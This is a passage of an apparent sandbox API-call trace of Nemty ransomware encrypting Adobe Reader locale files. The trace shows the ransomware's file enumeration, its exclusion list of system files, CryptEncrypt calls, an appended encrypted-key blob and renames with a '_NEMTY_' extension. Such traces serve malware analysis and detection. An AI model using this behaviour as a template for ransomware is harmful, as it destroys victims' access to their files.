"c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\accessibility.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.945] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=43008) returned 1 [0173.945] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa800) returned 0x6352c48 [0173.945] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.945] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0xa800, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0xa800, lpOverlapped=0x0) returned 1 [0173.950] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.950] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0xa800, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0xa800, lpOverlapped=0x0) returned 1 [0173.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.950] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=43008, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xa800 [0173.950] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.950] CloseHandle (hObject=0x2e8) returned 1 [0173.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0173.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0173.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0173.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.950] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.950] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0173.950] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\accessibility.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\accessibility.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\accessibility.cze._nemty_kgobjgd_")) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.951] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.951] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x83209c40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x63e00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="Acroform.CZE", cAlternateFileName="")) returned 1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2=".") returned 1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="..") returned 1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="...") returned 1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="windows") returned -1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="$RECYCLE.BIN") returned 1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="rsa") returned -1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="NTDETECT.COM") returned -1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="ntldr") returned -1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="MSDOS.SYS") returned -1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="IO.SYS") returned -1 [0173.951] lstrcmpiW (lpString1="Acroform.CZE", lpString2="boot.ini") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="boot.ini") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="AUTOEXEC.BAT") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="ntuser.dat") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="desktop.ini") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="CONFIG.SYS") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="RECYCLER") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="BOOTSECT.BAK") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="bootmgr") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="programdata") returned -1 [0173.952] lstrcmpiW (lpString1="Acroform.CZE", lpString2="appdata") returned -1 [0173.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CZE", lpUsedDefaultChar=0x0) returned 12 [0173.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x653e890, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CZE", lpUsedDefaultChar=0x0) returned 12 [0173.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x653e8e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CZE", lpUsedDefaultChar=0x0) returned 12 [0173.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0173.952] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="Acroform.CZE", cchWideChar=12, lpMultiByteStr=0x653e918, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Acroform.CZE", lpUsedDefaultChar=0x0) returned 12 [0173.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0173.952] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.952] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94310 [0173.952] Sleep (dwMilliseconds=0x5) [0173.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b54c950, dwHighDateTime=0x1d561e8)) [0173.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b54c950, dwHighDateTime=0x1d561e8)) [0173.953] GetLastError () returned 0x0 [0173.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.953] GetLastError () returned 0x0 [0173.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.954] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e5e0*=0x100) returned 1 [0173.954] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x10, dwBufLen=0x100 | out: pbData=0x653e5e4*, pdwDataLen=0x653e5d0*=0x100) returned 1 [0173.954] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e5dc | out: pszString=0x0, pcchString=0x653e5dc) returned 1 [0173.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0173.954] CryptBinaryToStringA (in: pbBinary=0x653e5e4, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e5dc | out: pszString="ZxJIbQ2QgEfanuJobkv0Rd1evVF6fyzw/9vz+rUYZ1Ufdifk+n0CXV4SMxASlzk7\r\nUKV3HPCZGnwoK1W2Rj3u9xW7fUrR1pb0TnMWICe61mbHWJP3rqXyrUg22Lcq1FAy\r\npJOCZfbWwB4eCh1zza8w1Fe1OjGH1Ujbivx6IGKDWKwEwoT/4AhdFZfkP2iWFc7R\r\nWrXmY3Hvb28bLfNsiBeizb0J18q1xQ4Q97W15csY/qxWLnMVlWrqFodiLIWMI89c\r\nLGNCemSybdtjQjWF0xdCf+R4mjxP6kyNeqyVGMjYtRGW9oXJsII2Yld/2NiLZi/3\r\nVilIOEYRnE6Iv15RlIHtXg==\r\n", pcchString=0x653e5dc) returned 1 [0173.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0173.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.954] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0173.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0173.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0173.954] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\acroform.cze"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2e8 [0173.955] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x653e830 | out: lpFileSize=0x653e830*=409088) returned 1 [0173.955] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x19000) returned 0x6352c48 [0173.955] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.955] ReadFile (in: hFile=0x2e8, lpBuffer=0x6352c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653e824, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesRead=0x653e824*=0x19000, lpOverlapped=0x0) returned 1 [0173.965] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0173.965] WriteFile (in: hFile=0x2e8, lpBuffer=0x6352c48*, nNumberOfBytesToWrite=0x19000, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x6352c48*, lpNumberOfBytesWritten=0x653e81c*=0x19000, lpOverlapped=0x0) returned 1 [0173.965] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6352c48 | out: hHeap=0x4f90000) returned 1 [0173.965] SetFilePointer (in: hFile=0x2e8, lDistanceToMove=409088, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x63e00 [0173.965] WriteFile (in: hFile=0x2e8, lpBuffer=0x63400f0*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653e81c, lpOverlapped=0x0 | out: lpBuffer=0x63400f0*, lpNumberOfBytesWritten=0x653e81c*=0x167, lpOverlapped=0x0) returned 1 [0173.967] CloseHandle (hObject=0x2e8) returned 1 [0173.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340260 [0173.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0173.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.967] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0173.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0173.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0173.967] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63403b0 [0173.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0173.967] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0173.967] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\acroform.cze"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\cs_CZ\\Acroform.CZE._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\cs_cz\\acroform.cze._nemty_kgobjgd_")) returned 1 [0173.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0173.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340260 | out: hHeap=0x4f90000) returned 1 [0173.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0173.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0173.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0173.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0173.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94310 | out: hHeap=0x4f90000) returned 1 [0173.968] FindNextFileW (in: hFindFile=0x3423ab0, lpFindFileData=0x653e988 | out: lpFindFileData=0x653e988*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="AdobeCollabSync.CZE", cAlternateFileName="ADOBEC~1.CZE")) returned 1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2=".") returned 1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="..") returned 1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="...") returned 1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="windows") returned -1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="$RECYCLE.BIN") returned 1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="rsa") returned -1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="NTDETECT.COM") returned -1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="ntldr") returned -1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="MSDOS.SYS") returned -1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="IO.SYS") returned -1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="boot.ini") returned -1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="boot.ini") returned -1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="AUTOEXEC.BAT") returned -1 [0173.968] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="ntuser.dat") returned -1 [0173.969] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="desktop.ini") returned -1 [0173.969] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="CONFIG.SYS") returned -1 [0173.969] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="RECYCLER") returned -1 [0173.969] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="BOOTSECT.BAK") returned -1 [0173.969] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="bootmgr") returned -1 [0173.969] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="programdata") returned -1 [0173.969] lstrcmpiW (lpString1="AdobeCollabSync.CZE", lpString2="appdata") returned -1 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CZE", lpUsedDefaultChar=0x0) returned 19 [0173.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0173.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CZE", lpUsedDefaultChar=0x0) returned 19 [0173.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0173.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0173.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0173.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x4f9ecb8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CZE", lpUsedDefaultChar=0x0) returned 19 [0173.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0173.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0173.969] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AdobeCollabSync.CZE", cchWideChar=19, lpMultiByteStr=0x4f9ed58, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AdobeCollabSync.CZE", lpUsedDefaultChar=0x0) returned 19 [0173.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94310 [0173.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0173.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0173.970] Sleep (dwMilliseconds=0x5) [0173.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b598c10, dwHighDateTime=0x1d561e8)) [0173.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653e7a4 | out: lpSystemTimeAsFileTime=0x653e7a4*(dwLowDateTime=0x1b598c10, dwHighDateTime=0x1d561e8)) [0173.985] GetLastError () returned 0x0 [0173.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0173.985] GetLastError () returned 0x0 [0173.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0173.985] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0173.985] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0173.985] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e5e0*=0x0, dwBufLen=0x0 | out: 